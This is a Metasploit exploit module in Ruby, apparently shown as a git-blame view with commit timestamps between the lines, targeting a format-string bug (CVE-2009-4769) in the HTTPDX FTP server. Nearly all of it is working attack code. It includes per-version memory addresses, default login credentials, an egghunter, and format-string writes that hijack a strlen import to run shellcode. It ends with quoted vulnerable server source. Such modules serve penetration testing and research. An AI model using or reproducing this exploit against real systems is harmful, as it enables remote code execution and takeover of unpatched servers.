2010-02-07 21:42:12 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-02-07 21:42:12 +00:00
|
|
|
##
|
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
include Msf::Exploit::Egghunter
|
|
|
|
include Msf::Exploit::FormatString
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
def initialize(info = {})
|
2010-02-07 21:42:12 +00:00
|
|
|
super(update_info(info,
|
2009-11-17 23:54:26 +00:00
|
|
|
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
|
|
|
|
'Description' => %q{
|
2010-03-10 05:58:01 +00:00
|
|
|
This module exploits a format string vulnerability in HTTPDX FTP server.
|
2009-11-19 03:36:02 +00:00
|
|
|
By sending an specially crafted FTP command containing format specifiers, an
|
2009-11-17 23:54:26 +00:00
|
|
|
attacker can corrupt memory and execute arbitrary code.
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
By default logging is off for HTTP, but enabled for the 'moderator' user
|
|
|
|
via FTP.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2010-03-10 05:58:01 +00:00
|
|
|
'jduck' # original discovery and metasploit module
|
2009-11-17 23:54:26 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-07-02 00:10:51 +00:00
|
|
|
[ 'CVE', '2009-4769' ],
|
2009-11-18 04:16:10 +00:00
|
|
|
[ 'OSVDB', '60181' ]
|
2009-11-17 23:54:26 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process'
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
# format string max length
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x25",
|
|
|
|
'DisableNops' => 'True',
|
|
|
|
'StackAdjustment' => -1500
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
2010-02-07 21:42:12 +00:00
|
|
|
[
|
|
|
|
#
|
|
|
|
# Automatic targeting via fingerprinting
|
|
|
|
#
|
|
|
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
|
|
|
|
|
|
|
#
|
|
|
|
# specific targets
|
|
|
|
#
|
|
|
|
[ 'httpdx 1.4 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'NumPops' => 37,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'httpdx 1.4.5 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'NumPops' => 37,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'httpdx 1.4.6 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'NumPops' => 37,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'httpdx 1.4.6b - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'NumPops' => 37,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'httpdx 1.5 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'NumPops' => 29,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
]
|
2009-11-17 23:54:26 +00:00
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Nov 17 2009'))
|
2009-11-17 23:54:26 +00:00
|
|
|
=begin
|
|
|
|
|
|
|
|
NOTE: Even though all targets have the same addresses now, future targets may not.
|
|
|
|
|
|
|
|
To find a target:
|
|
|
|
|
|
|
|
1. open "core.dll" in IDA Pro
|
|
|
|
2. navigate to the "c_wildcmp" function
|
|
|
|
3. follow the xref to the first strlen
|
|
|
|
4. follow the xref to the imports area
|
2010-02-07 21:42:12 +00:00
|
|
|
5. copy/paste the address
|
2009-11-17 23:54:26 +00:00
|
|
|
6. the 'Writable' value should be anything after the last address IDA shows..
|
2010-04-30 08:40:19 +00:00
|
|
|
(preferably something above 0x0d, to avoid bad chars)
|
2009-11-17 23:54:26 +00:00
|
|
|
|
|
|
|
If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
|
|
|
|
For now, that will have to be done manually.
|
|
|
|
|
|
|
|
=end
|
2010-02-07 21:42:12 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(21),
|
|
|
|
# note the default user/pass
|
|
|
|
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
|
|
|
|
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
|
|
|
|
], self.class )
|
2009-11-17 23:54:26 +00:00
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
|
|
|
print_status("FTP Banner: #{banner}".strip)
|
|
|
|
if banner =~ /httpdx.*\(Win32\)/
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
def exploit
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
# Use a copy of the target
|
2009-11-17 23:54:26 +00:00
|
|
|
mytarget = target
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
if (target['auto'])
|
|
|
|
mytarget = nil
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
print_status("Automatically detecting the target...")
|
|
|
|
connect
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
|
2010-02-07 21:42:12 +00:00
|
|
|
print_status("FTP Banner: #{banner.strip}")
|
2009-11-17 23:54:26 +00:00
|
|
|
version = m[1]
|
|
|
|
else
|
|
|
|
print_status("No matching target")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
self.targets.each do |t|
|
|
|
|
if (t.name =~ /#{version} - /) then
|
|
|
|
mytarget = t
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
if (not mytarget)
|
|
|
|
print_status("No matching target")
|
|
|
|
return
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
print_status("Selected Target: #{mytarget.name}")
|
|
|
|
else
|
|
|
|
print_status("Trying target #{mytarget.name}...")
|
|
|
|
end
|
|
|
|
|
|
|
|
# proceed with chosen target...
|
2013-06-17 20:48:34 +00:00
|
|
|
c = connect_login
|
|
|
|
return if not c
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-18 00:49:20 +00:00
|
|
|
# '<ip>\n PWD '
|
|
|
|
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
|
2009-11-17 23:54:26 +00:00
|
|
|
num_start = ip_length + 1 + 3 + 1
|
2010-02-07 21:42:12 +00:00
|
|
|
|
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
# use the egghunter!
|
2010-08-25 20:55:37 +00:00
|
|
|
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
2009-11-17 23:54:26 +00:00
|
|
|
|
|
|
|
# write shellcode to 'writable' (all at once)
|
|
|
|
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
|
|
|
|
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
|
|
|
|
if (res = send_cmd(['PWD', fmtbuf ], true))
|
|
|
|
print_status(res.strip)
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
# write 'writable' addr to flowhook (execute shellcode)
|
|
|
|
# NOTE: the resulting two writes must be done at the same time
|
|
|
|
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
# add payload to the end
|
2010-08-25 20:55:37 +00:00
|
|
|
fmtbuf << eh_egg
|
2009-11-17 23:54:26 +00:00
|
|
|
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
|
|
|
|
if (res = send_cmd(['PWD', fmtbuf ], true))
|
|
|
|
print_status(res.strip)
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
disconnect
|
|
|
|
handler
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
# connect again to trigger shellcode
|
|
|
|
print_status(" triggering shellcode now")
|
|
|
|
print_status("Please be patient, the egg hunter may take a while...")
|
|
|
|
connect
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-17 23:54:26 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
=begin
|
|
|
|
|
|
|
|
also present in 1.5 (presumably all versions in between)
|
|
|
|
|
|
|
|
1.4/httpdx_src/ftp.cpp:
|
|
|
|
|
|
|
|
544 //printf(out);
|
|
|
|
545 char af[MAX] = {0};
|
|
|
|
546 if(isset(out) && client->serve.log || client->serve.debug)
|
|
|
|
547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
|
|
|
|
548 if(isset(out) && client->serve.log)
|
|
|
|
549 tolog(client->serve.accessl,af);
|
|
|
|
550 if(isset(out) && client->serve.debug)
|
|
|
|
551 printf(af);
|
|
|
|
|
|
|
|
1.4/httpdx_src/http.cpp:
|
|
|
|
|
|
|
|
172 char af[MAX] = {0};
|
|
|
|
173 if(client.serve.log || client.serve.debug)
|
|
|
|
174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
|
|
|
|
175 if(client.serve.log)
|
|
|
|
176 tolog(client.serve.accessl,af);
|
|
|
|
177 if(client.serve.debug)
|
|
|
|
178 printf(af);
|
|
|
|
|
|
|
|
=end
|